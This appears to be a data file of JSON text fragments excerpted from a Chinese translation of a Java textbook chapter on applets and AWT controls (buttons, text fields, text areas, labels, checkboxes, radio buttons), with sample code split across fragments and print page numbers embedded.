    {"text": "一旦 Ｃｏｍｐｏｎｅｎｔ（目前是程序片）决定自己需要更新，就会调用这个方法——可 能是由于它再次回转屏幕，首次在屏幕上显示，或者是由于其他窗口临时覆盖了你的 Ｗｅｂ 浏览器。"},
    {"text": "此时程序 片会调用它的 ｕｐｄａｔｅ（）方法（在基础类 Ｃｏｍｐｏｎｅｎｔ 中定义），该方法会恢复一切该恢复的东西，而调用 ｐａｉｎｔ（）正是这个过程的一部分。"},
    {"text": "根据这些信息即可创建一个简单的程序片： ３７９ ／／： Ａｐｐｌｅｔ１．ｊａｖａ ／／ Ｖｅｒｙ ｓｉｍｐｌｅ ａｐｐｌｅｔ ｐａｃｋａｇｅ ｃ１３；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ａｐｐｌｅｔ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｄｒａｗＳｔｒｉｎｇ（＂Ｆｉｒｓｔ ａｐｐｌｅｔ＂， １０， １０）；"},
    {"text": "这就是 ａｐｐｌｅｔ 标记，它在 Ａｐｐｌｅｔ１ 中的样子如下： ＜ａｐｐｌｅｔ ｃｏｄｅ＝Ａｐｐｌｅｔ１ ｗｉｄｔｈ＝２００ ｈｅｉｇｈｔ＝２００＞ ＜／ａｐｐｌｅｔ＞ ①：本书假定读者已掌握了 ＨＴＭＬ 的基本知识。"},
    {"text": "还可将另一些东西放入 ａｐｐｌｅｔ 标记：用于在因特网上寻找其 他．ｃｌａｓｓ 文件的位置（ｃｏｄｅｂａｓｅ）、对齐和排列信息（ａｌｉｇｎ）、使程序片相互间能够通信的一个特殊标识 符（ｎａｍｅ）以及用于提供程序片能接收的信息的参数。"},
    {"text": "１ ３ ． ２ ． １ 程序片的测试 我们可在不必建立网络连接的前提下进行一次简单的测试，方法是启动我们的 Ｗｅｂ 浏览器，然后打开包含了 程序片标签的 ＨＴＭＬ 文件（Ｓｕｎ 公司的 ＪＤＫ 同样包括一个称为“程序片观察器”的工具，它能挑出 ｈｔｍｌ 文件 的＜ａｐｐｌｅｔ＞ 标记，并运行这个程序片，不必显示周围的 ＨＴＭＬ 文本——注释②）。 ｈｔｍｌ 文件载入后，浏览器 会发现程序片的标签，并查找由 ｃｏｄｅ 值指定的．ｃｌａｓｓ 文件。 当然，它会先在 ＣＬＡＳＳＰＡＴＨ（类路径）中寻找， 如果在 ＣＬＡＳＳＰＡＴＨ 下找不到类文件，就在 ＷＥＢ 浏览器状态栏给出一个错误信息，告知不能找到．ｃｌａｓｓ 文件。"},
    {"text": "由于程序片观察器会忽略除 ＡＰＰＬＥＴ 标记之外的任何东西，所以可将那些标记作为注释置入 Ｊａｖａ 源码： ／／ ＜ａｐｐｌｅｔ ｃｏｄｅ＝ＭｙＡｐｐｌｅｔ．ｃｌａｓｓ ｗｉｄｔｈ＝２００ ｈｅｉｇｈｔ＝１００＞＜／ａｐｐｌｅｔ＞ 这样就可直接执行“ａｐｐｌｅｔｖｉｅｗｅｒ ＭｙＡｐｐｌｅｔ．ｊａｖａ”，不必再创建小的 ＨＴＭＬ 文件来完成测试。"},
    {"text": "这一般是通过采用“文件传输协议”（ＦＴＰ）的程序来做成的，网 上可找到许多这样的免费程序。 所以我们要做的全部事情似乎就是用 ＦＴＰ 协议将文件移至 ＩＳＰ 的机器，然后 用自己的浏览器连接网站和 ＨＴＭＬ 文件；"},
    {"text": "／／： Ａｐｐｌｅｔ２．ｊａｖａ ／／ Ｅａｓｙ ｇｒａｐｈｉｃｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ａｐｐｌｅｔ２ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｄｒａｗＳｔｒｉｎｇ（＂Ｓｅｃｏｎｄ ａｐｐｌｅｔ＂， １０， １５）； ｇ．ｄｒａｗ３ＤＲｅｃｔ（０， ０， １００， ２０， ｔｒｕｅ）；"},
    {"text": "１ ３ ． ２ ． ３ 框架方法的演示 观看框架方法的实际运作是相当有趣的（这个例子只使用 ｉｎｉｔ（），ｓｔａｒｔ（）和 ｓｔｏｐ（），因为 ｐａｉｎｔ（）和 ｄｅｓｔｒｏｙ（）非常简单，很容易就能掌握）。"},
    {"text": "下面的程序片将跟踪这些方法调用的次数，并用 ｐａｉｎｔ（）将其显示 出来： ／／： Ａｐｐｌｅｔ３．ｊａｖａ ／／ Ｓｈｏｗｓ ｉｎｉｔ（）， ｓｔａｒｔ（） ａｎｄ ｓｔｏｐ（） ａｃｔｉｖｉｔｉｅｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ａｐｐｌｅｔ３ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｓｔｒｉｎｇ ｓ； ｉｎｔ ｉｎｉｔｓ ＝ ０； ｉｎｔ ｓｔａｒｔｓ ＝ ０； ｉｎｔ ｓｔｏｐｓ ＝ ０； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｉｎｉｔｓ＋＋； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｔａｒｔ（） ｛ ｓｔａｒｔｓ＋＋； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｔｏｐ（） ｛ ｓｔｏｐｓ＋＋； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｓ ＝ ＂ｉｎｉｔｓ： ＂ ＋ ｉｎｉｔｓ ＋ ＂， ｓｔａｒｔｓ： ＂ ＋ ｓｔａｒｔｓ ＋ ３８１ ＂， ｓｔｏｐｓ： ＂ ＋ ｓｔｏｐｓ； ｇ．ｄｒａｗＳｔｒｉｎｇ（ｓ， １０， １０）；"},
    {"text": "试验这个程序片时，会发现假如最小化 ＷＥＢ 浏览器，或者用另一个窗口将其覆盖，那么就不能再调用 ｓｔｏｐ（） 和 ｓｔａｒｔ（）（这一行为会随着不同的实现方案变化；"},
    {"text": "１ ３ ． ３ 制作按钮 制作一个按钮非常简单：只需要调用 Ｂｕｔｔｏｎ 构建器，并指定想在按钮上出现的标签就行了（如果不想要标 签，亦可使用默认构建器，但那种情况极少出现）。"},
    {"text": "所以为了将一个按钮置 入窗体，需要过载 ｉｎｉｔ（）方法，而不是过载 ｐａｉｎｔ（）： ／／： Ｂｕｔｔｏｎ１．ｊａｖａ ／／ Ｐｕｔｔｉｎｇ ｂｕｔｔｏｎｓ ｏｎ ａｎ ａｐｐｌｅｔ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｂｕｔｔｏｎ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ １＂）， ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ２＂）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｂ１）； ａｄｄ（ｂ２）；"},
    {"text": "例如，假如想 调查一次鼠标点击的像素位置，以便画一条引向那个位置的线，那么 Ｅｖｅｎｔ 对象里就会包含那个位置的信息 （也要注意 Ｊａｖａ １．０ 的组件只能产生有限种类的事件，而 Ｊａｖａ １．１ 和 Ｓｗｉｎｇ／ＪＦＣ 组件则可产生完整的一系 列事件）。"},
    {"text": "虽然整个 Ｊａｖａ １．０ 版的事件模型不兼 容 Ｊａｖａ １．１ 版，但它在还不支持 Ｊａｖａ１．１ 版的机器和运行简单的程序片的系统中更广泛地使用，忠告您使用 它会变得非常的舒适，包括对下面使用的 ａｃｔｉｏｎ（） 程序方法而言。"},
    {"text": "需调用 ａｃｔｉｏｎ（） 时情况非常有限：将控件置入窗体时，一些类型的控件（按钮、复选框、下拉列表单、菜 单）会发生一种“标准行动”，从而随相应的 Ｅｖｅｎｔ 对象发起对 ａｃｔｉｏｎ（）的调用。"},
    {"text": "前面的例程可进行一些扩展，以便象下面这样控制按钮的点击： ／／： Ｂｕｔｔｏｎ２．ｊａｖａ ／／ Ｃａｐｔｕｒｉｎｇ ｂｕｔｔｏｎ ｐｒｅｓｓｅｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｂｕｔｔｏｎ２ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ １＂）， ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ２＂）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｂ１）； ａｄｄ（ｂ２）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ（Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ１）） ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＳｔａｔｕｓ（＂Ｂｕｔｔｏｎ １＂）； ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ２）） ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＳｔａｔｕｓ（＂Ｂｕｔｔｏｎ ２＂）； ／／ Ｌｅｔ ｔｈｅ ｂａｓｅ ｃｌａｓｓ ｈａｎｄｌｅ ｉｔ： ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "／／ Ｗｅ＇ｖｅ ｈａｎｄｌｅｄ ｉｔ ｈｅｒｅ ｝ ｝ ／／／：￣ 为了解目标是什么，需要向 Ｅｖｅｎｔ 对象询问它的 ｔａｒｇｅｔ（目标）成员是什么，然后用 ｅｑｕａｌｓ（） 方法检查它是 否与自己感兴趣的目标对象句柄相符。 为所有感兴趣的对象写好句柄后，必须在末尾的 ｅｌｓｅ 语句中调用 ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）方法。"},
    {"text": "不过我们可以用调用 Ａｐｐｌｅｔ 方法的 ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）来访问浏览器， 然后用 ｓｈｏｗＳｔａｔｕｓ（）在浏览器窗口底部的状态栏上显示一条信息（注释③）。"},
    {"text": "还可用同样的方法打印出对事 ３８３ 件的一段完整说明文字，方法是调用 ｇｅｔＡｐｐｌｅｔＣｏｎｅｘｔ（）．ｓｈｏｗＳｔａｔｕｓ（ｅｖｔ ＋ ＂＂）。"},
    {"text": "采 用这种方法，上面的例子就变成了： ／／： Ｂｕｔｔｏｎ３．ｊａｖａ ／／ Ｍａｔｃｈｉｎｇ ｅｖｅｎｔｓ ｏｎ ｂｕｔｔｏｎ ｔｅｘｔ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｂｕｔｔｏｎ３ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ １＂）， ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ２＂）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｂ１）； ａｄｄ（ｂ２）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ （Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ａｒｇ．ｅｑｕａｌｓ（＂Ｂｕｔｔｏｎ １＂）） ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＳｔａｔｕｓ（＂Ｂｕｔｔｏｎ １＂）； ｅｌｓｅ ｉｆ（ａｒｇ．ｅｑｕａｌｓ（＂Ｂｕｔｔｏｎ ２＂）） ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＳｔａｔｕｓ（＂Ｂｕｔｔｏｎ ２＂）； ／／ Ｌｅｔ ｔｈｅ ｂａｓｅ ｃｌａｓｓ ｈａｎｄｌｅ ｉｔ： ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "这种方法有一个很大的问题，就是开始使用这个新技术的 Ｊａｖａ 程序员至少需要花费一个受挫折的时期来在比较按钮上的文字时发现他们要么大写了要么写错了（我就有这 种经验）。"},
    {"text": "１ ３ ． ５ 文本字段 “文本字段”是允许用户输入和编辑文字的一种线性区域。 文本字段从文本组件那里继承了让我们选择文 字、让我们像得到字符串一样得到选择的文字，得到或设置文字，设置文本字段是否可编辑以及连同我们从 在线参考书中找到的相关方法。"},
    {"text": "我们能注意到方法名是显而易见 的： ／／： ＴｅｘｔＦｉｅｌｄ１．ｊａｖａ ／／ Ｕｓｉｎｇ ｔｈｅ ｔｅｘｔ ｆｉｅｌｄ ｃｏｎｔｒｏｌ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＴｅｘｔＦｉｅｌｄ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｇｅｔ Ｔｅｘｔ＂）， ３８４ ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｅｔ Ｔｅｘｔ＂）； ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（＂Ｓｔａｒｔｉｎｇ ｔｅｘｔ＂， ３０）； Ｓｔｒｉｎｇ ｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ（）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｂ１）； ａｄｄ（ｂ２）； ａｄｄ（ｔ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ （Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ１）） ｛ ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＳｔａｔｕｓ（ｔ．ｇｅｔＴｅｘｔ（））； ｓ ＝ ｔ．ｇｅｔＳｅｌｅｃｔｅｄＴｅｘｔ（）； ｉｆ（ｓ．ｌｅｎｇｔｈ（） ＝＝ ０） ｓ ＝ ｔ．ｇｅｔＴｅｘｔ（）； ｔ．ｓｅｔＥｄｉｔａｂｌｅ（ｔｒｕｅ）； ｝ ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ２）） ｛ ｔ．ｓｅｔＴｅｘｔ（＂Ｉｎｓｅｒｔｅｄ ｂｙ Ｂｕｔｔｏｎ ２： ＂ ＋ ｓ）； ｔ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ｝ ／／ Ｌｅｔ ｔｈｅ ｂａｓｅ ｃｌａｓｓ ｈａｎｄｌｅ ｉｔ： ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "／／： ＴｅｘｔＡｒｅａ１．ｊａｖａ ／／ Ｕｓｉｎｇ ｔｈｅ ｔｅｘｔ ａｒｅａ ｃｏｎｔｒｏｌ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＴｅｘｔＡｒｅａ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｅｘｔ Ａｒｅａ １＂）； Ｂｕｔｔｏｎ ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｅｘｔ Ａｒｅａ ２＂）； Ｂｕｔｔｏｎ ｂ３ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｒｅｐｌａｃｅ Ｔｅｘｔ＂）； Ｂｕｔｔｏｎ ｂ４ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｉｎｓｅｒｔ Ｔｅｘｔ＂）； ＴｅｘｔＡｒｅａ ｔ１ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（＂ｔ１＂， １， ３０）； ３８５ ＴｅｘｔＡｒｅａ ｔ２ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（＂ｔ２＂， ４， ３０）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｂ１）； ａｄｄ（ｔ１）； ａｄｄ（ｂ２）； ａｄｄ（ｔ２）； ａｄｄ（ｂ３）； ａｄｄ（ｂ４）；"},
    {"text": "｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ （Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ１）） ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＳｔａｔｕｓ（ｔ１．ｇｅｔＴｅｘｔ（））； ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ２）） ｛ ｔ２．ｓｅｔＴｅｘｔ（＂Ｉｎｓｅｒｔｅｄ ｂｙ Ｂｕｔｔｏｎ ２＂）； ｔ２．ａｐｐｅｎｄＴｅｘｔ（＂： ＂ ＋ ｔ１．ｇｅｔＴｅｘｔ（））； ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＳｔａｔｕｓ（ｔ２．ｇｅｔＴｅｘｔ（））； ｝ ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ３）） ｛ Ｓｔｒｉｎｇ ｓ ＝ ＂ Ｒｅｐｌａｃｅｍｅｎｔ ＂； ｔ２．ｒｅｐｌａｃｅＴｅｘｔ（ｓ， ３， ３ ＋ ｓ．ｌｅｎｇｔｈ（））； ｝ ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ４）） ｔ２．ｉｎｓｅｒｔＴｅｘｔ（＂ Ｉｎｓｅｒｔｅｄ ＂， １０）； ／／ Ｌｅｔ ｔｈｅ ｂａｓｅ ｃｌａｓｓ ｈａｎｄｌｅ ｉｔ： ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "／／ Ｗｅ＇ｖｅ ｈａｎｄｌｅｄ ｉｔ ｈｅｒｅ ｝ ｝ ／／／：￣ 程序中有几个不同的“文本区域”构建器，这其中的一个在此处显示了一个初始字符串和行号和列号。"},
    {"text": "） 使用构建器我们能创建一条包括初始化文字的标签（这是我们典型的作法），一个标签包括一行 ＣＥＮＴＥＲ（中 间）、ＬＥＦＴ（左）和 ＲＩＧＨＴ（右）（静态的结果取整定义在类标签里）。"},
    {"text": "如果我们忘记了可以用 ｇｅｔＴｅｘｔ（）和 ｇｅｔａｌｉｇｎｍｅｎｔ（）读取值，我们同样可以用 ｓｅｔＴｅｘｔ（）和 ｓｅｔＡｌｉｇｎｍｅｎｔ（）来改变和调整。"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｌａｂｅｌ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ＴｅｘｔＦｉｅｌｄ ｔ１ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（＂ｔ１＂， １０）； Ｌａｂｅｌ ｌａｂｌ１ ＝ ｎｅｗ Ｌａｂｅｌ（＂ＴｅｘｔＦｉｅｌｄ ｔ１＂）； Ｌａｂｅｌ ｌａｂｌ２ ＝ ｎｅｗ Ｌａｂｅｌ（＂ ＂）； ３８６ Ｌａｂｅｌ ｌａｂｌ３ ＝ ｎｅｗ Ｌａｂｅｌ（＂ ＂， Ｌａｂｅｌ．ＲＩＧＨＴ）； Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｅｓｔ １＂）； Ｂｕｔｔｏｎ ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｅｓｔ ２＂）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｌａｂｌ１）； ａｄｄ（ｔ１）； ａｄｄ（ｂ１）； ａｄｄ（ｌａｂｌ２）； ａｄｄ（ｂ２）； ａｄｄ（ｌａｂｌ３）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ （Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ１）） ｌａｂｌ２．ｓｅｔＴｅｘｔ（＂Ｔｅｘｔ ｓｅｔ ｉｎｔｏ Ｌａｂｅｌ＂）； ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ２）） ｛ ｉｆ（ｌａｂｌ３．ｇｅｔＴｅｘｔ（）．ｔｒｉｍ（）．ｌｅｎｇｔｈ（） ＝＝ ０） ｌａｂｌ３．ｓｅｔＴｅｘｔ（＂ｌａｂｌ３＂）； ｉｆ（ｌａｂｌ３．ｇｅｔＡｌｉｇｎｍｅｎｔ（） ＝＝ Ｌａｂｅｌ．ＬＥＦＴ） ｌａｂｌ３．ｓｅｔＡｌｉｇｎｍｅｎｔ（Ｌａｂｅｌ．ＣＥＮＴＥＲ）； ｅｌｓｅ ｉｆ（ｌａｂｌ３．ｇｅｔＡｌｉｇｎｍｅｎｔ（）＝＝Ｌａｂｅｌ．ＣＥＮＴＥＲ） ｌａｂｌ３．ｓｅｔＡｌｉｇｎｍｅｎｔ（Ｌａｂｅｌ．ＲＩＧＨＴ）； ｅｌｓｅ ｉｆ（ｌａｂｌ３．ｇｅｔＡｌｉｇｎｍｅｎｔ（） ＝＝ Ｌａｂｅｌ．ＲＩＧＨＴ） ｌａｂｌ３．ｓｅｔＡｌｉｇｎｍｅｎｔ（Ｌａｂｅｌ．ＬＥＦＴ）； ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "在例子的第三部分保留的空的空格在我 们第一次按下“ｔｅｓｔ ２”会发现标签是空的（ｔｒｉｍ（）删除了每个字符串结尾部分的空格）并且在开头的左列 插入了一个短的标签。"},
    {"text": "在下面的例子 里使用一个文字区域枚举所有被选中的复选框： ／／： ＣｈｅｃｋＢｏｘ１．ｊａｖａ ３８７ ／／ Ｕｓｉｎｇ ｃｈｅｃｋ ｂｏｘｅｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＣｈｅｃｋＢｏｘ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ＴｅｘｔＡｒｅａ ｔ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（６， ２０）； Ｃｈｅｃｋｂｏｘ ｃｂ１ ＝ ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂Ｃｈｅｃｋ Ｂｏｘ １＂）； Ｃｈｅｃｋｂｏｘ ｃｂ２ ＝ ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂Ｃｈｅｃｋ Ｂｏｘ ２＂）； Ｃｈｅｃｋｂｏｘ ｃｂ３ ＝ ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂Ｃｈｅｃｋ Ｂｏｘ ３＂）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｔ）； ａｄｄ（ｃｂ１）； ａｄｄ（ｃｂ２）； ａｄｄ（ｃｂ３）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ （Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｃｂ１）） ｔｒａｃｅ（＂１＂， ｃｂ１．ｇｅｔＳｔａｔｅ（））； ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｃｂ２）） ｔｒａｃｅ（＂２＂， ｃｂ２．ｇｅｔＳｔａｔｅ（））； ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｃｂ３）） ｔｒａｃｅ（＂３＂， ｃｂ３．ｇｅｔＳｔａｔｅ（））； ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ； ｝ ｖｏｉｄ ｔｒａｃｅ（Ｓｔｒｉｎｇ ｂ， ｂｏｏｌｅａｎ ｓｔａｔｅ） ｛ ｉｆ（ｓｔａｔｅ） ｔ．ａｐｐｅｎｄＴｅｘｔ（＂Ｂｏｘ ＂ ＋ ｂ ＋ ＂ Ｓｅｔ＼ｎ＂）； ｅｌｓｅ ｔ．ａｐｐｅｎｄＴｅｘｔ（＂Ｂｏｘ ＂ ＋ ｂ ＋ ＂ Ｃｌｅａｒｅｄ＼ｎ＂）；"},
    {"text": "｝ ｝ ／／／：￣ ｔｒａｃｅ（）方法将选中的复选框名和当前状态用 ａｐｐｅｎｄＴｅｘｔ（）发送到文字区域中去，所以我们看到一个累积的 被选中的复选框和它们的状态的列表。"},
    {"text": "然而将复选框放在单选钮组中（并且修改它的 外形使它看起来不同于一般的复选框）我们必须使用一个特殊的构建器象一个自变量一样的作用在 ｃｈｅｃｋｂｏｘＧｒｏｕｐ 对象上。"},
    {"text": "注意我们可以像其它的组件一样捕捉单选钮的事件： ／／： ＲａｄｉｏＢｕｔｔｏｎ１．ｊａｖａ ／／ Ｕｓｉｎｇ ｒａｄｉｏ ｂｕｔｔｏｎｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＲａｄｉｏＢｕｔｔｏｎ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ３８８ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（＂Ｒａｄｉｏ ｂｕｔｔｏｎ ２＂， ３０）； ＣｈｅｃｋｂｏｘＧｒｏｕｐ ｇ ＝ ｎｅｗ ＣｈｅｃｋｂｏｘＧｒｏｕｐ（）； Ｃｈｅｃｋｂｏｘ ｃｂ１ ＝ ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂ｏｎｅ＂， ｇ， ｆａｌｓｅ）， ｃｂ２ ＝ ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂ｔｗｏ＂， ｇ， ｔｒｕｅ）， ｃｂ３ ＝ ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂ｔｈｒｅｅ＂， ｇ， ｆａｌｓｅ）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｔ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ａｄｄ（ｔ）； ａｄｄ（ｃｂ１）； ａｄｄ（ｃｂ２）； ａｄｄ（ｃｂ３）； 